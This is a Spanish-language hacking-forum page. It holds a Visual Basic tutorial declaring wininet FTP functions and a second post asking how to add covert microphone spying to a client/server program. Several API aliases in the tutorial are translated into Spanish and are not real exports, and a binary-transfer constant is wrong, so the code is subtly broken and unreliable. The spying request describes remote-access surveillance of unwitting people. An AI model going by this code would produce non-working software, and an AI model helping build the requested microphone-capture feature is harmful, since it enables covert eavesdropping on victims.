naaa no estoy loco (puede qe un poco) , lo que hicimos ahi es inicializar la memoria a 0, dicha funcion se encuentra en esa libreria. tranquilos no me perdi!  :D

Declare Sub CopyMemory1 Lib "kernel32" Alias "RtlMoveMemory" ( _
         hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)
Declare Sub CopyMemory2 Lib "kernel32" Alias "RtlMoveMemory" ( _
         hpvDest As Long, hpvSource As Any, ByVal cbCopy As Long)


oootraaa veezz esa libreria??? y ahora que me vas a inventar ghost? hee? jajaa,
ahi declaramos la funcion "Copymemory", que sirve para mover un grupo de Lenght bytes desde Source hasta Destination.
si todo muy lindo y "ByVal" ??? q me decis de eso ???
ByVal se utiliza para pasar parámetros a funciones por valor en lugar de por variable. (sino te quedo claro lo lamento, no preguntes tanto  :P)


Public Const MAX_PATH = 260
Public Const NO_ERROR = 0
Public Const FILE_ATTRIBUTE_READONLY = &H1
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Const FILE_ATTRIBUTE_SYSTEM = &H4
Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
Public Const FILE_ATTRIBUTE_ARCHIVE = &H20
Public Const FILE_ATTRIBUTE_NORMAL = &H80
Public Const FILE_ATTRIBUTE_TEMPORARY = &H100
Public Const FILE_ATTRIBUTE_COMPRESSED = &H800
Public Const FILE_ATTRIBUTE_OFFLINE = &H1000

una simple igualdad si tienen dudas, preguntenme !  °|°


hora y fecha actual codificada en una estructura de 8 bytes!:
Type FILETIME
        dwLowDateTime As Long
        dwHighDateTime As Long
End Type


verificamos que exista el arhivo,su tamaño,fecha de creacion, etc  , en una palabra informacion acerca del archivo:
Type WIN32_FIND_DATA
        dwFileAttributes As Long
        ftCreationTime As FILETIME
        ftLastAccessTime As FILETIME
        ftLastWriteTime As FILETIME
        nFileSizeHigh As Long
        nFileSizeLow As Long
        dwReserved0 As Long
        dwReserved1 As Long
        cFileName As String * MAX_PATH
        cAlternate As String * 14
End Type

descubrimos si ha ocurrido un error verdadero o simplemente no hay mas archivos:
Public Const ERROR_NO_MORE_FILES = 18

ahora pasaremos a declarar las funciones de la tan esperada .dll WININET: :o

Public Declare Function InternetFindNextFile Lib "wininet.dll" Alias "encontrarsiguientearchivoA" _
    (ByVal hFind As Long, lpvFindData As WIN32_FIND_DATA) As Long
   
Public Declare Function FtpFindFirstFile Lib "wininet.dll" Alias "encontrarprimerarchivoA" _
(ByVal hFtpSession As Long, ByVal lpszSearchFile As String, _
      lpFindFileData As WIN32_FIND_DATA, ByVal dwFlags As Long, ByVal dwContent As Long) As Long

Public Declare Function FtpGetFile Lib "wininet.dll" Alias "recibirarchivoA" _
(ByVal hFtpSession As Long, ByVal lpszRemoteFile As String, _
      ByVal lpszNewFile As String, ByVal fFailIfExists As Boolean, ByVal dwFlagsAndAttributes As Long, _
      ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean

Public Declare Function FtpPutFile Lib "wininet.dll" Alias "enviararchivoeA" _
(ByVal hFtpSession As Long, ByVal lpszLocalFile As String, _
      ByVal lpszRemoteFile As String, _
      ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean

Public Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" _
    (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean

inicializamos el uso de win32 en las funciones de internet:
Public Declare Function InternetOpen Lib "wininet.dll" Alias "abiertoA" _
(ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, _
ByVal sProxyBypass As String, ByVal lFlags As Long) As Long

Constante del usuario:
Public Const scUserAgent = "vb wininet"
Utilizar los ajustes del acceso del registro:
Public Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Public Const INTERNET_OPEN_TYPE_DIRECT = 1
Public Const INTERNET_OPEN_TYPE_PROXY = 3
Public Const INTERNET_INVALID_PORT_NUMBER = 0

Public Const FTP_TRANSFER_TYPE_ASCII = &H1
Public Const FTP_TRANSFER_TYPE_BINARY = &H1
Public Const INTERNET_FLAG_PASSIVE = &H8000000

Abre una sesión del HTTP para un sitio dado:
Public Declare Function InternetConnect Lib "wininet.dll" Alias "conectarA" _
(ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, _
ByVal sUsername As String, ByVal sPassword As String, ByVal lService As Long, _
ByVal lFlags As Long, ByVal lContext As Long) As Long
               
Public Const ERROR_INTERNET_EXTENDED_ERROR = 12003
Public Declare Function InternetGetLastResponseInfo Lib "wininet.dll" Alias "InternetGetLastResponseInfoA" ( _
    lpdwError As Long, _
    ByVal lpszBuffer As String, _
    lpdwBufferLength As Long) As Boolean


Número del puerto de TCP/IP en el servidor al cual nos vamos a conectar:
Public Const INTERNET_DEFAULT_FTP_PORT = 21
Public Const INTERNET_DEFAULT_GOPHER_PORT = 70
Public Const INTERNET_DEFAULT_HTTP_PORT = 80
Public Const INTERNET_DEFAULT_HTTPS_PORT = 443
Public Const INTERNET_DEFAULT_SOCKS_PORT = 1080

Public Const INTERNET_OPTION_CONNECT_TIMEOUT = 2
Public Const INTERNET_OPTION_RECEIVE_TIMEOUT = 6
Public Const INTERNET_OPTION_SEND_TIMEOUT = 5

Public Const INTERNET_OPTION_USERNAME = 28
Public Const INTERNET_OPTION_PASSWORD = 29
Public Const INTERNET_OPTION_PROXY_USERNAME = 43
Public Const INTERNET_OPTION_PROXY_PASSWORD = 44

Tipo de servicio para acceder (http,ftp,etc):
Public Const INTERNET_SERVICE_FTP = 1
Public Const INTERNET_SERVICE_GOPHER = 2
Public Const INTERNET_SERVICE_HTTP = 3


Continua...........

by ghost
fuente:
http://foro.hackerselite.net/index.php?topic=371.0

;D Salu2, WarGhost
#39
Este es mi primer post en esta comunidad y me gustaría dar un saludo a todos los usuarios.

Vamos con el tema en concreto, estoy haciendo un Cliente/Servidor y me gustaría ponerle la Función de Espiar el sonido del micrófono, pero no tengo ni idea, Alguien me podría echar una mano por favor?


;D Salu2, WarGhost